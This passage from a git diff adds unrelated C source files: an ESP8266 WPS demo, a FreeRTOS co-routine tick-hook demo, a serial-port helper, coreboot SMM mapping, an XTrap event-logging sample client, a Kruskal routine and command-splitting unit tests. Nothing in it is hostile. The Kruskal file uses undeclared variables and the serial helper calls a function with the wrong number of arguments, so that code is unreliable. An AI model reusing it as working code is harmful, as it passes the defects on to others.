in the Software without restriction, including + * without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, + * and/or sell copies of the Software, and to permit persons to whom the Software is furnished + * to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all copies or + * substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS + * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR + * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER + * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + * + */ + +#include "osapi.h" +#include "user_interface.h" + +#include "driver/key.h" + +#define WPS_KEY_NUM 1 + +#define WPS_KEY_IO_MUX PERIPHS_IO_MUX_MTCK_U +#define WPS_KEY_IO_NUM 13 +#define WPS_KEY_IO_FUNC FUNC_GPIO13 + +LOCAL struct keys_param keys; +LOCAL struct single_key_param *single_key; + +LOCAL void ICACHE_FLASH_ATTR +user_wps_status_cb(int status) +{ + switch (status) { + case WPS_CB_ST_SUCCESS: + wifi_wps_disable(); + wifi_station_connect(); + break; + case WPS_CB_ST_FAILED: + case WPS_CB_ST_TIMEOUT: + wifi_wps_start(); + break; + } +} + +LOCAL void ICACHE_FLASH_ATTR +user_wps_key_short_press(void) +{ + wifi_wps_disable(); + wifi_wps_enable(WPS_TYPE_PBC); + wifi_set_wps_cb(user_wps_status_cb); + wifi_wps_start(); +} + +/****************************************************************************** + * FunctionName : user_rf_cal_sector_set + * Description : SDK just reversed 4 sectors, used for rf init data and paramters. + * We add this function to force users to set rf cal sector, since + * we don't know which sector is free in user's application. + * sector map for last several sectors : ABCCC + * A : rf cal + * B : rf init data + * C : sdk parameters + * Parameters : none + * Returns : rf cal sector +*******************************************************************************/ +uint32 ICACHE_FLASH_ATTR +user_rf_cal_sector_set(void) +{ + enum flash_size_map size_map = system_get_flash_size_map(); + uint32 rf_cal_sec = 0; + + switch (size_map) { + case FLASH_SIZE_4M_MAP_256_256: + rf_cal_sec = 128 - 5; + break; + + case FLASH_SIZE_8M_MAP_512_512: + rf_cal_sec = 256 - 5; + break; + + case FLASH_SIZE_16M_MAP_512_512: + case FLASH_SIZE_16M_MAP_1024_1024: + rf_cal_sec = 512 - 5; + break; + + case FLASH_SIZE_32M_MAP_512_512: + case FLASH_SIZE_32M_MAP_1024_1024: + rf_cal_sec = 1024 - 5; + break; + + default: + rf_cal_sec = 0; + break; + } + + return rf_cal_sec; +} + +void ICACHE_FLASH_ATTR +user_rf_pre_init(void) +{ +} + +void ICACHE_FLASH_ATTR +user_init(void) +{ + single_key = key_init_single(WPS_KEY_IO_NUM, WPS_KEY_IO_MUX, WPS_KEY_IO_FUNC, + NULL, user_wps_key_short_press); + + keys.key_num = WPS_KEY_NUM; + keys.single_key = &single_key; + + key_init(&keys); + + wifi_set_opmode(STATION_MODE); +} diff --git a/pool/shard011/C/0141751_crhook.c b/pool/shard011/C/0141751_crhook.c new file mode 100644 index 0000000000000000000000000000000000000000..4251122066e48f2d71989b84a92bc700c22682d4 --- /dev/null +++ b/pool/shard011/C/0141751_crhook.c @@ -0,0 +1,274 @@ +/* + FreeRTOS V9.0.0 - Copyright (C) 2016 Real Time Engineers Ltd. + All rights reserved + + VISIT http://www.FreeRTOS.org TO ENSURE YOU ARE USING THE LATEST VERSION. + + This file is part of the FreeRTOS distribution. + + FreeRTOS is free software; you can redistribute it and/or modify it under + the terms of the GNU General Public License (version 2) as published by the + Free Software Foundation >>>> AND MODIFIED BY <<<< the FreeRTOS exception. + + *************************************************************************** + >>! NOTE: The modification to the GPL is included to allow you to !<< + >>! distribute a combined work that includes FreeRTOS without being !<< + >>! obliged to provide the source code for proprietary components !<< + >>! outside of the FreeRTOS kernel. !<< + *************************************************************************** + + FreeRTOS is distributed in the hope that it will be useful, but WITHOUT ANY + WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + FOR A PARTICULAR PURPOSE. Full license text is available on the following + link: http://www.freertos.org/a00114.html + + *************************************************************************** + * * + * FreeRTOS provides completely free yet professionally developed, * + * robust, strictly quality controlled, supported, and cross * + * platform software that is more than just the market leader, it * + * is the industry's de facto standard. * + * * + * Help yourself get started quickly while simultaneously helping * + * to support the FreeRTOS project by purchasing a FreeRTOS * + * tutorial book, reference manual, or both: * + * http://www.FreeRTOS.org/Documentation * + * * + *************************************************************************** + + http://www.FreeRTOS.org/FAQHelp.html - Having a problem? Start by reading + the FAQ page "My application does not run, what could be wrong?". Have you + defined configASSERT()? + + http://www.FreeRTOS.org/support - In return for receiving this top quality + embedded software for free we request you assist our global community by + participating in the support forum. + + http://www.FreeRTOS.org/training - Investing in training allows your team to + be as productive as possible as early as possible. Now you can receive + FreeRTOS training directly from Richard Barry, CEO of Real Time Engineers + Ltd, and the world's leading authority on the world's leading RTOS. + + http://www.FreeRTOS.org/plus - A selection of FreeRTOS ecosystem products, + including FreeRTOS+Trace - an indispensable productivity tool, a DOS + compatible FAT file system, and our tiny thread aware UDP/IP stack. + + http://www.FreeRTOS.org/labs - Where new FreeRTOS products go to incubate. + Come and try FreeRTOS+TCP, our new open source TCP/IP stack for FreeRTOS. + + http://www.OpenRTOS.com - Real Time Engineers ltd. license FreeRTOS to High + Integrity Systems ltd. to sell under the OpenRTOS brand. Low cost OpenRTOS + licenses offer ticketed support, indemnification and commercial middleware. + + http://www.SafeRTOS.com - High Integrity Systems also provide a safety + engineered and independently SIL3 certified version for use in safety and + mission critical applications that require provable dependability. + + 1 tab == 4 spaces! +*/ + +/* + * This demo file demonstrates how to send data between an ISR and a + * co-routine. A tick hook function is used to periodically pass data between + * the RTOS tick and a set of 'hook' co-routines. + * + * hookNUM_HOOK_CO_ROUTINES co-routines are created. Each co-routine blocks + * to wait for a character to be received on a queue from the tick ISR, checks + * to ensure the character received was that expected, then sends the number + * back to the tick ISR on a different queue. + * + * The tick ISR checks the numbers received back from the 'hook' co-routines + * matches the number previously sent. + * + * If at any time a queue function returns unexpectedly, or an incorrect value + * is received either by the tick hook or a co-routine then an error is + * latched. + * + * This demo relies on each 'hook' co-routine to execute between each + * hookTICK_CALLS_BEFORE_POST tick interrupts. This and the heavy use of + * queues from within an interrupt may result in an error being detected on + * slower targets simply due to timing. + */ + +/* Scheduler includes. */ +#include "FreeRTOS.h" +#include "croutine.h" +#include "queue.h" + +/* Demo application includes. */ +#include "crhook.h" + +/* The number of 'hook' co-routines that are to be created. */ +#define hookNUM_HOOK_CO_ROUTINES ( 4 ) + +/* The number of times the tick hook should be called before a character is +posted to the 'hook' co-routines. */ +#define hookTICK_CALLS_BEFORE_POST ( 500 ) + +/* There should never be more than one item in any queue at any time. */ +#define hookHOOK_QUEUE_LENGTH ( 1 ) + +/* Don't block when initially posting to the queue. */ +#define hookNO_BLOCK_TIME ( 0 ) + +/* The priority relative to other co-routines (rather than tasks) that the +'hook' co-routines should take. */ +#define mainHOOK_CR_PRIORITY ( 1 ) +/*-----------------------------------------------------------*/ + +/* + * The co-routine function itself. + */ +static void prvHookCoRoutine( CoRoutineHandle_t xHandle, UBaseType_t uxIndex ); + + +/* + * The tick hook function. This receives a number from each 'hook' co-routine + * then sends a number to each co-routine. An error is flagged if a send or + * receive fails, or an unexpected number is received. + */ +void vApplicationTickHook( void ); + +/*-----------------------------------------------------------*/ + +/* Queues used to send data FROM a co-routine TO the tick hook function. +The hook functions received (Rx's) on these queues. One queue per +'hook' co-routine. */ +static QueueHandle_t xHookRxQueues[ hookNUM_HOOK_CO_ROUTINES ]; + +/* Queues used to send data FROM the tick hook TO a co-routine function. +The hood function transmits (Tx's) on these queues. One queue per +'hook' co-routine. */ +static QueueHandle_t xHookTxQueues[ hookNUM_HOOK_CO_ROUTINES ]; + +/* Set to true if an error is detected at any time. */ +static BaseType_t xCoRoutineErrorDetected = pdFALSE; + +/*-----------------------------------------------------------*/ + +void vStartHookCoRoutines( void ) +{ +UBaseType_t uxIndex, uxValueToPost = 0; + + for( uxIndex = 0; uxIndex < hookNUM_HOOK_CO_ROUTINES; uxIndex++ ) + { + /* Create a queue to transmit to and receive from each 'hook' + co-routine. */ + xHookRxQueues[ uxIndex ] = xQueueCreate( hookHOOK_QUEUE_LENGTH, sizeof( UBaseType_t ) ); + xHookTxQueues[ uxIndex ] = xQueueCreate( hookHOOK_QUEUE_LENGTH, sizeof( UBaseType_t ) ); + + /* To start things off the tick hook function expects the queue it + uses to receive data to contain a value. */ + xQueueSend( xHookRxQueues[ uxIndex ], &uxValueToPost, hookNO_BLOCK_TIME ); + + /* Create the 'hook' co-routine itself. */ + xCoRoutineCreate( prvHookCoRoutine, mainHOOK_CR_PRIORITY, uxIndex ); + } +} +/*-----------------------------------------------------------*/ + +static UBaseType_t uxCallCounter = 0, uxNumberToPost = 0; +void vApplicationTickHook( void ) +{ +UBaseType_t uxReceivedNumber; +BaseType_t xIndex, xCoRoutineWoken; + + /* Is it time to talk to the 'hook' co-routines again? */ + uxCallCounter++; + if( uxCallCounter >= hookTICK_CALLS_BEFORE_POST ) + { + uxCallCounter = 0; + + for( xIndex = 0; xIndex < hookNUM_HOOK_CO_ROUTINES; xIndex++ ) + { + xCoRoutineWoken = pdFALSE; + if( crQUEUE_RECEIVE_FROM_ISR( xHookRxQueues[ xIndex ], &uxReceivedNumber, &xCoRoutineWoken ) != pdPASS ) + { + /* There is no reason why we would not expect the queue to + contain a value. */ + xCoRoutineErrorDetected = pdTRUE; + } + else + { + /* Each queue used to receive data from the 'hook' co-routines + should contain the number we last posted to the same co-routine. */ + if( uxReceivedNumber != uxNumberToPost ) + { + xCoRoutineErrorDetected = pdTRUE; + } + + /* Nothing should be blocked waiting to post to the queue. */ + if( xCoRoutineWoken != pdFALSE ) + { + xCoRoutineErrorDetected = pdTRUE; + } + } + } + + /* Start the next cycle by posting the next number onto each Tx queue. */ + uxNumberToPost++; + + for( xIndex = 0; xIndex < hookNUM_HOOK_CO_ROUTINES; xIndex++ ) + { + if( crQUEUE_SEND_FROM_ISR( xHookTxQueues[ xIndex ], &uxNumberToPost, pdFALSE ) != pdTRUE ) + { + /* Posting to the queue should have woken the co-routine that + was blocked on the queue. */ + xCoRoutineErrorDetected = pdTRUE; + } + } + } +} +/*-----------------------------------------------------------*/ + +static void prvHookCoRoutine( CoRoutineHandle_t xHandle, UBaseType_t uxIndex ) +{ +static UBaseType_t uxReceivedValue[ hookNUM_HOOK_CO_ROUTINES ]; +BaseType_t xResult; + + /* Each co-routine MUST start with a call to crSTART(); */ + crSTART( xHandle ); + + for( ;; ) + { + /* Wait to receive a value from the tick hook. */ + xResult = pdFAIL; + crQUEUE_RECEIVE( xHandle, xHookTxQueues[ uxIndex ], &( uxReceivedValue[ uxIndex ] ), portMAX_DELAY, &xResult ); + + /* There is no reason why we should not have received something on + the queue. */ + if( xResult != pdPASS ) + { + xCoRoutineErrorDetected = pdTRUE; + } + + /* Send the same number back to the idle hook so it can verify it. */ + xResult = pdFAIL; + crQUEUE_SEND( xHandle, xHookRxQueues[ uxIndex ], &( uxReceivedValue[ uxIndex ] ), hookNO_BLOCK_TIME, &xResult ); + if( xResult != pdPASS ) + { + /* There is no reason why we should not have been able to post to + the queue. */ + xCoRoutineErrorDetected = pdTRUE; + } + } + + /* Each co-routine MUST end with a call to crEND(). */ + crEND(); +} +/*-----------------------------------------------------------*/ + +BaseType_t xAreHookCoRoutinesStillRunning( void ) +{ + if( xCoRoutineErrorDetected ) + { + return pdFALSE; + } + else + { + return pdTRUE; + } +} + + + diff --git a/pool/shard011/C/0141752_char_dev.c b/pool/shard011/C/0141752_char_dev.c new file mode 100644 index 0000000000000000000000000000000000000000..daf423d249dc69cc8a8276e34f6395b49abc3f81 --- /dev/null +++ b/pool/shard011/C/0141752_char_dev.c @@ -0,0 +1,52 @@ +/* + * ===================================================================================== + * + * Filename: char_dev.c + * + * Description: 字符设备相关 + * + * Version: 1.0 + * Created: 2015年02月08日 10时13分36秒 + * Revision: none + * Compiler: gcc + * + * Author: Qianyi.lh (liuhuan), qianyi.lh@alibaba-inc.com + * Company: Alibaba-Inc Aliyun + * + * ===================================================================================== + */ + +#include +#include +#include + +// 全局字符设备链表 +char_dev_t *char_devs; + +// 字符设备初始化 +void char_dev_init(void) +{ + char_dev_t *kb_dev = &kboard_dev; + kb_dev->ops.init(); + add_char_dev(kb_dev); + + cprintk(rc_black, rc_magenta, "Init %s device ...\n\n", kb_dev->ops.get_desc()); +} + +// 内核注册字符设备 +int add_char_dev(char_dev_t *cdev) +{ + char_dev_t *p = char_devs; + while (p) { + if (strcmp(p->name, cdev->name) == 0) { + return -1; + } + p = p->next; + } + + cdev->next = char_devs; + char_devs = cdev; + + return 0; +} + diff --git a/pool/shard011/C/0141753_usart.c b/pool/shard011/C/0141753_usart.c new file mode 100644 index 0000000000000000000000000000000000000000..294fe8b72246d07c660b29e0fab73784aadc314c --- /dev/null +++ b/pool/shard011/C/0141753_usart.c @@ -0,0 +1,86 @@ +#include +#include +#include +#include "usart.h" + +static int fd; + +int +set_interface_attribs (int fd, int speed) +{ + struct termios tty; + memset (&tty, 0, sizeof tty); + if (tcgetattr (fd, &tty) != 0) + { + error_message ("error %d from tcgetattr", errno); + return -1; + } + + cfsetospeed (&tty, speed); + cfsetispeed (&tty, speed); + + tty.c_cflag = (tty.c_cflag & ~CSIZE) | CS8; // 8-bit chars + // disable IGNBRK for mismatched speed tests; otherwise receive break + // as \000 chars + tty.c_iflag &= ~IGNBRK; // disable break processing + tty.c_lflag = 0; // no signaling chars, no echo, + // no canonical processing + tty.c_oflag = 0; // no remapping, no delays + tty.c_cc[VMIN] = 1; // read blocks + tty.c_cc[VTIME] = 0; // no read timeout, wait for char + + tty.c_iflag &= ~(IXON | IXOFF | IXANY); // shut off xon/xoff ctrl + + tty.c_cflag |= (CLOCAL | CREAD);// ignore modem controls, + // enable reading + tty.c_cflag &= ~(PARENB | PARODD); // shut off parity + tty.c_cflag &= ~CSTOPB; + tty.c_cflag &= ~CRTSCTS; + + if (tcsetattr (fd, TCSANOW, &tty) != 0) + { + error_message ("error %d from tcsetattr", errno); + return -1; + } + return 0; +} + +void +set_blocking (int fd, int should_block) +{ + struct termios tty; + memset (&tty, 0, sizeof tty); + if (tcgetattr (fd, &tty) != 0) + { + error_message ("error %d from tggetattr", errno); + return; + } + + tty.c_cc[VMIN] = should_block ? 1 : 0; + tty.c_cc[VTIME] = 5; // 0.5 seconds read timeout + + if (tcsetattr (fd, TCSANOW, &tty) != 0) + error_message ("error %d setting term attributes", errno); +} + + +void InitialiseUSART(char * portname){ + fd = open (portname, O_RDWR | O_NOCTTY | O_SYNC); + if (fd < 0) + { + error_message ("error %d opening %s: %s", errno, portname, strerror (errno)); + return; + } + + set_interface_attribs (fd, B115200, 0); // set speed to 115,200 bps, 8n1 (no parity) + set_blocking (fd, 1); // set no blocking +} + +void USARTPutc(unsigned char ch){ + write(fd,&ch,1); +} +unsigned char USARTGetc(void){ + unsigned char ch; + read(fd,&ch,1); + return ch; +} diff --git a/pool/shard011/C/0141754_memmap.c b/pool/shard011/C/0141754_memmap.c new file mode 100644 index 0000000000000000000000000000000000000000..f9a484a7c4e84e14f10e30ab60af70268b96c162 --- /dev/null +++ b/pool/shard011/C/0141754_memmap.c @@ -0,0 +1,70 @@ +/* + * This file is part of the coreboot project. + * + * Copyright (C) 2015 Intel Corp. + * (Written by Andrey Petrov for Intel Corp.) + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/* + * The device_t returned by dev_find_slot() is different than the device_t + * passed to pci_write_config32(). If one needs to get access to the config.h + * of a device and perform i/o things are incorrect. One is a pointer while + * the other is a 32-bit integer. + */ +#define __SIMPLE_DEVICE__ + +#include +#include +#include +#include +#include +#include +#include +#include + +void *cbmem_top(void) +{ + return (void *)sa_get_tseg_base(); +} + +int smm_subregion(int sub, void **start, size_t *size) +{ + uintptr_t sub_base; + size_t sub_size; + void *smm_base; + const size_t cache_size = CONFIG_SMM_RESERVED_SIZE; + + smm_region_info(&smm_base, &sub_size); + sub_base = (uintptr_t)smm_base; + + assert(sub_size > CONFIG_SMM_RESERVED_SIZE); + + switch (sub) { + case SMM_SUBREGION_HANDLER: + /* Handler starts at the base of TSEG. */ + sub_size -= cache_size; + break; + case SMM_SUBREGION_CACHE: + /* External cache is in the middle of TSEG. */ + sub_base += sub_size - cache_size; + sub_size = cache_size; + break; + default: + return -1; + } + + *start = (void *)sub_base; + *size = sub_size; + + return 0; +} diff --git a/pool/shard011/C/0141755_kruskal.c b/pool/shard011/C/0141755_kruskal.c new file mode 100644 index 0000000000000000000000000000000000000000..52a1dc98aac51ac0c0c43bed7214e9b4df2c92c4 --- /dev/null +++ b/pool/shard011/C/0141755_kruskal.c @@ -0,0 +1,39 @@ +#include +#include + +#include "kruskal.h" + + +//edges[MAXEDGE] is ordered by cost increment +EdgeType edges[MAXEDGE]; + +int Find(int farther[], int v) +{ + int t; + t = v; + while (father[t] >= 0) + t = father[t]; + return t; +} + +void kruskal(EdgeType edges[], int n) +{ + int i, j, vf1, vf2; + int farther[MAXEDGE]; + for (i = 0; i < MAXEDGE; i++) + farther[i] = -1; + i = 0; + j = 0; + while (i < MAXEDGE && j < n - 1) + { + vf1 = Find(farther, edges[i].v1); + vf2 = Find(farther, edges[i].v2); + if (vf1 != vf2) + { + farther[vf2] = vrf1; + j++; + printf("%3d, %3d\n", edges[i].v1, edges[i].v2); + } + i++; + } +} diff --git a/pool/shard011/C/0141756_xtrapout.c b/pool/shard011/C/0141756_xtrapout.c new file mode 100644 index 0000000000000000000000000000000000000000..f784a99d7a4e75b0665e244b11cd44f4ff4973e6 --- /dev/null +++ b/pool/shard011/C/0141756_xtrapout.c @@ -0,0 +1,287 @@ +/* $XFree86: xc/programs/xtrap/xtrapout.c,v 1.2 2001/12/12 00:43:50 dawes Exp $ */ +/* + * @DEC_COPYRIGHT@ + */ +/* + * HISTORY + * Log: xtrapout.c,v $ + * Revision 1.1.4.2 1993/12/14 12:37:28 Kenneth_Miller + * ANSI-standardize code and turn client build on + * [1993/12/09 20:16:01 Kenneth_Miller] + * + * Revision 1.1.2.2 1992/04/27 13:51:57 Leela_Obilichetti + * initial load of xtrap clients - from silver BL6 pool + * [92/04/27 13:49:33 Leela_Obilichetti] + * + * EndLog$ + */ +/***************************************************************************** +Copyright 1987, 1988, 1989, 1990, 1991, 1993 by Digital Equipment Corp., +Maynard, MA + +Permission to use, copy, modify, and distribute this software and its +documentation for any purpose and without fee is hereby granted, +provided that the above copyright notice appear in all copies and that +both that copyright notice and this permission notice appear in +supporting documentation, and that the name of Digital not be +used in advertising or publicity pertaining to distribution of the +software without specific, written prior permission. + +DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING +ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL +DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR +ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, +WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS +SOFTWARE. + +*****************************************************************************/ +/* + * + * CONTRIBUTORS: + * + * Dick Annicchiarico + * Robert Chesler + * Dan Coutu + * Gene Durso + * Marc Evans + * Alan Jamison + * Mark Henry + * Ken Miller + * + */ +#define ProgName "xtrapout" +/* +**++ +** FACILITY: xtrapout - Sample client to test output from XTrap extension +** +** MODULE DESCRIPTION: +** +** This is the main module for a sample/test client +** for the XTrap X11 Server Extension. It accepts +** a script output file, a transport method, +** and an "events mode" flag (-e) as input, +** in addition to the standard X arguments (-d, etc.). +** If no script file is provided, stdout is the default +** and can be piped to the companion "xtrapin" +** client (normally used with the -e argument which +** sends all core input events to stdout). +** +** +** AUTHORS: +** +** Kenneth B. Miller +** +** CREATION DATE: March 28, 1990 +** +** DESIGN ISSUES: +** +** See the companion "xtrapin" client. +** +** Also, getopt() is used to parse the command +** line arguments prior to calling XtAppInitialize(). +** This is because DECwindows appears to remove the user- +** defined arguments from the argv[] vector without actually +** acting upon them. +** +** +**-- +*/ + +#include +#include +#include +#include +#include +#include +#include + +#include "XEKeybCtrl.h" + +#ifndef vaxc +#define globalref extern +#endif + + +/* Forward declarations */ +static void SetGlobalDone (void ); +static void print_req_callback (XETC *tc , XETrapDatum *data , + char *my_buf ); +static void print_evt_callback (XETC *tc , XETrapDatum *data , + char *my_buf ); + + +FILE *ofp; +Bool GlobalDone = False; +XrmOptionDescRec optionTable [] = +{ + {"-f", "*script", XrmoptionSepArg, (caddr_t) NULL}, + {"-e", "*eventFlag", XrmoptionSkipArg, (caddr_t) NULL}, + {"-v", "*verbose", XrmoptionSkipArg, (caddr_t) NULL}, +}; + +static void SetGlobalDone(void) +{ + GlobalDone = 1L; + fprintf(stderr,"Process Completed!\n"); + return; +} + +static void print_req_callback(XETC *tc, XETrapDatum *data, char *my_buf) +{ + char *req_type; + req_type = (data->u.req.reqType == XETrapGetExtOpcode(tc) ? "XTrap" : + XERequestIDToString(data->u.req.reqType,tc)); + fprintf(ofp,"Request: %-19s (%d): length '%ld' client '%d' window=%ld\n", + req_type, data->u.req.reqType, (long)data->hdr.count, data->hdr.client, + (long)data->u.req.id); +} + +static void print_evt_callback(XETC *tc, XETrapDatum *data, char *my_buf) +{ + static Time last_time = 0; + int delta; + + delta = abs((int)last_time ? data->u.event.u.keyButtonPointer.time - + (int)last_time : (int)last_time); + last_time = data->u.event.u.keyButtonPointer.time; + + /* The "screen" and "root" fields aren't valid until "event" + * vectoring becomes a reality. Currently, XTrap intercepts + * the core events prior to when fields other than rootX, rootY, + * type, detail, time, and state are filled in. This will be + * addressed in the next release of XTrap (3.2?). + */ + fprintf(ofp, + "Event: %-15s (%d):det=%d scr=%d (%d,%d) root=%d Msk=%d TS=%d\n", + XEEventIDToString(data->u.event.u.u.type,tc), data->u.event.u.u.type, + data->u.event.u.u.detail, data->hdr.screen, /* Not really valid yet */ + data->u.event.u.keyButtonPointer.rootX, + data->u.event.u.keyButtonPointer.rootY, + (int)data->u.event.u.keyButtonPointer.root, /* Not really valid yet */ + (int)data->u.event.u.keyButtonPointer.state, + (int)delta); + fflush(ofp); +} +static Boolean eventFlag = False; +static Boolean verboseFlag = False; +static Widget appW; +static Display *dpy; + +int +main(int argc, char *argv[]) +{ + XETrapGetAvailRep ret_avail; + XETrapGetCurRep ret_cur; + XETC *tc; + ReqFlags requests; + EventFlags events; + XtAppContext app; + char *tmp = NULL; + INT16 ch; + int *popterr; + char **poptarg; +#ifndef vms + popterr = &opterr; + poptarg = &optarg; +#else + popterr = XEgetopterr(); + poptarg = XEgetoptarg(); +#endif + + eventFlag = False; + ofp = NULL; + *popterr = 0; /* don't complain about -d (display) */ + while ((ch = getopt(argc, argv, "d:evf:")) != EOF) + { + switch(ch) + { + case 'e': + eventFlag = True; + break; + case 'v': + verboseFlag = True; + break; + case 'f': + if ((ofp = fopen(*poptarg,"wb")) == NULL) + { /* can't open it */ + fprintf(stderr,"%s: could not open output file '%s'!\n", + ProgName, *poptarg); + } + break; + case 'd': /* -display, let's let the toolkit parse it */ + break; + default: + break; + } + } + ofp = (ofp ? ofp : stdout); + + appW = XtAppInitialize(&app,"XTrap",optionTable,(Cardinal)2L, + (int *)&argc, (String *)argv, (String *)NULL,(ArgList)&tmp, + (Cardinal)NULL); + + dpy = XtDisplay(appW); +#ifdef DEBUG + XSynchronize(dpy, True); +#endif + fprintf(stderr,"Display: %s \n", DisplayString(dpy)); + if ((tc = XECreateTC(dpy,0L, NULL)) == False) + { + fprintf(stderr,"%s: could not initialize XTrap extension\n",ProgName); + exit (1L); + } + XETrapSetTimestamps(tc,True, False); + (void)XEGetAvailableRequest(tc,&ret_avail); + XEPrintAvail(stderr,&ret_avail); + XEPrintTkFlags(stderr,tc); + + /* Need to prime events/requests initially turning all off */ + (void)memset(requests,0L,sizeof(requests)); + (void)memset(events,0L,sizeof(events)); + /* Now turn on the ones you really want */ + (void)memset(events,0xFFL,XETrapMaxEvent); + if (eventFlag == False) + { /* doesn't want just events */ + (void)memset(requests,0xFFL,XETrapMaxRequest); + /* Turn off XTrap Requests for multi-client regression tests & XLib */ + BitFalse(requests, XETrapGetExtOpcode(tc)); + /* Turn off noisy events */ + BitFalse(events, MotionNotify); + } + if (verboseFlag == True) + { /* want's *all* requests/events */ + (void)memset(requests,0xFFL,XETrapMaxRequest); + (void)memset(events,0xFFL,XETrapMaxEvent); + } + /* Tell the TC about it */ + XETrapSetRequests(tc, True, requests); + XETrapSetEvents(tc, True, events); + XETrapSetMaxPacket(tc, True, XETrapMinPktSize); /* just get the minimum */ + + /* Set up callbacks for data */ + XEAddRequestCBs(tc, requests, print_req_callback, NULL); + XEAddEventCBs(tc, events, print_evt_callback, NULL); + + (void)XEStartTrapRequest(tc); + (void)XEGetCurrentRequest(tc,&ret_cur); + XEPrintCurrent(stderr,&ret_cur); + + /* Add signal handlers so that we clean up properly */ + _InitExceptionHandling((void_function)SetGlobalDone); + (void)XEEnableCtrlKeys((void_function)SetGlobalDone); + + XETrapAppWhileLoop(app,tc,&GlobalDone); + + /* Make sure key is released */ + XESimulateXEventRequest(tc, KeyRelease, + XKeysymToKeycode(dpy, XK_Control_L), 0L, 0L, 0L); + + /* close down everything nicely */ + XEFreeTC(tc); + (void)XCloseDisplay(dpy); + (void)XEClearCtrlKeys(); + _ClearExceptionHandling(); + exit(0L); +} + diff --git a/pool/shard011/C/0141757_arg_split_test.c b/pool/shard011/C/0141757_arg_split_test.c new file mode 100644 index 0000000000000000000000000000000000000000..c02bf2d9b3824e4a63c037318374ef326e2fb1f8 --- /dev/null +++ b/pool/shard011/C/0141757_arg_split_test.c @@ -0,0 +1,169 @@ +#include + +#include +#include + +#include +#include + +static void test_split_empty(void) +{ + char **s = ArgSplitCommand(""); + + assert_true(s); + assert_false(*s); + ArgFree(s); +} + +static void test_split_easy(void) +{ + char **s = ArgSplitCommand("zero one two"); + + assert_string_equal(s[0], "zero"); + assert_string_equal(s[1], "one"); + assert_string_equal(s[2], "two"); + assert_false(s[3]); + + ArgFree(s); +} + +static void test_split_quoted_beginning(void) +{ + char **s = ArgSplitCommand("\"quoted string\" atbeginning"); + + assert_string_equal(s[0], "quoted string"); + assert_string_equal(s[1], "atbeginning"); + assert_false(s[2]); + ArgFree(s); +} + +static void test_split_quoted_end(void) +{ + char **s = ArgSplitCommand("atend 'quoted string'"); + + assert_string_equal(s[0], "atend"); + assert_string_equal(s[1], "quoted string"); + assert_false(s[2]); + ArgFree(s); +} + +static void test_split_quoted_middle(void) +{ + char **s = ArgSplitCommand("at `quoted string` middle"); + + assert_string_equal(s[0], "at"); + assert_string_equal(s[1], "quoted string"); + assert_string_equal(s[2], "middle"); + assert_false(s[3]); + ArgFree(s); +} + +static void test_complex_quoting(void) +{ + char **s = ArgSplitCommand("\"foo`'bar\""); + + assert_string_equal(s[0], "foo`'bar"); + assert_false(s[1]); + ArgFree(s); +} + +static void test_arguments_resize_for_null(void) +{ +/* This test checks that extending returned argument list for NULL terminator + * works correctly */ + char **s = ArgSplitCommand("0 1 2 3 4 5 6 7"); + + assert_string_equal(s[7], "7"); + assert_false(s[8]); + ArgFree(s); +} + +static void test_arguments_resize(void) +{ + char **s = ArgSplitCommand("0 1 2 3 4 5 6 7 8"); + + assert_string_equal(s[7], "7"); + assert_string_equal(s[8], "8"); + assert_false(s[9]); + ArgFree(s); +} + +static void test_command_promiser(void) +{ + char *t1 = "/bin/echo"; + assert_string_equal(CommandArg0(t1), "/bin/echo"); + + char *t2 = "/bin/rpm -qa --queryformat \"i | repos | %{name} | %{version}-%{release} | %{arch}\n\""; + assert_string_equal(CommandArg0(t2), "/bin/rpm"); + + char *t3 = "/bin/mount -va"; + assert_string_equal(CommandArg0(t3), "/bin/mount"); + + char *t4 = "\"/bin/echo\""; + assert_string_equal(CommandArg0(t4), "/bin/echo"); + + char *t5 = "\"/bin/echo\" 123"; + assert_string_equal(CommandArg0(t5), "/bin/echo"); + + char *t6 = "\"/bin/echo with space\" 123"; + assert_string_equal(CommandArg0(t6), "/bin/echo with space"); + + char *t7 = "c:\\Windows\\System32\\cmd.exe"; + assert_string_equal(CommandArg0(t7), "c:\\Windows\\System32\\cmd.exe"); + + char *t8 = "\"c:\\Windows\\System32\\cmd.exe\""; + assert_string_equal(CommandArg0(t8), "c:\\Windows\\System32\\cmd.exe"); + + char *t9 = "\"c:\\Windows\\System32\\cmd.exe\" /some args here"; + assert_string_equal(CommandArg0(t9), "c:\\Windows\\System32\\cmd.exe"); + + char *t10 = "\"c:\\Windows\\System32 with space\\cmd.exe\""; + assert_string_equal(CommandArg0(t10), "c:\\Windows\\System32 with space\\cmd.exe"); + + char *t11 = "\"c:\\Windows\\System32 with space\\cmd.exe\" /some args here"; + assert_string_equal(CommandArg0(t11), "c:\\Windows\\System32 with space\\cmd.exe"); + + char *t12 = "\"c:\\Windows\\System32 with space\\cmd.exe\" /some 